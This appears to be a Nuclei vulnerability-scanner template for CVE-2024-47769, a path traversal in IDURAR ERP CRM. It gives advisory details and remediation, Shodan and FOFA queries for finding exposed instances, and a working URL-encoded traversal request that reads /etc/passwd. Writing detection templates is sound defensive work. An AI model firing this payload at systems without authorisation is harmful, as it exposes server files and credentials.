Copy
id: CVE-2024-47769
info:
name: IDURAR ERP CRM < 2.1.0 - Path Traversal
author: ritikchaddha
severity: high
description: |
IDURAR ERP CRM is vulnerable to an unauthenticated path traversal in corePublicRouter.js. The subPath route parameter of the /public/:subPath/:directory/:file endpoint is concatenated into the sendFile root path without normalisation, allowing an attacker to supply URL-encoded ../ sequences and read arbitrary files outside the public directory.
impact: |
Unauthenticated attackers can read arbitrary files on the server, including configuration files and credentials.
remediation: |
Update IDURAR to a build containing commit 949bc6fe31f3175c9e1864d30cf6c8110179ac14, which normalises the user-supplied path.
reference:
- https://github.com/idurar/idurar-erp-crm/security/advisories/GHSA-948g-2vm7-mfv7
- https://github.com/idurar/idurar-erp-crm/commit/949bc6fe31f3175c9e1864d30cf6c8110179ac14
- https://nvd.nist.gov/vuln/detail/CVE-2024-47769
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-47769
cwe-id: CWE-23
epss-score: 0.00767
epss-percentile: 0.56746
metadata:
verified: false
max-request: 1
vendor: idurarapp
product: idurar
shodan-query: http.html:"idurar"
fofa-query: title="IDURAR"
tags: cve,cve2024,idurar,lfi,traversal,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
matchers:
- type: word
part: body
words:
- "IDURAR"
case-insensitive: true
internal: true
- method: GET
path:
- "{{BaseURL}}/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "root:[x*]:0:0:"
# digest: 4a0a004730450221008e2c8bd81d5802869df4a2624a2e6fee18554d27748c497938021f90544bed47022049f5ae284af39a82e12e59041427b04e1f5af65ce22ad99599ae6d6d0627a038:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.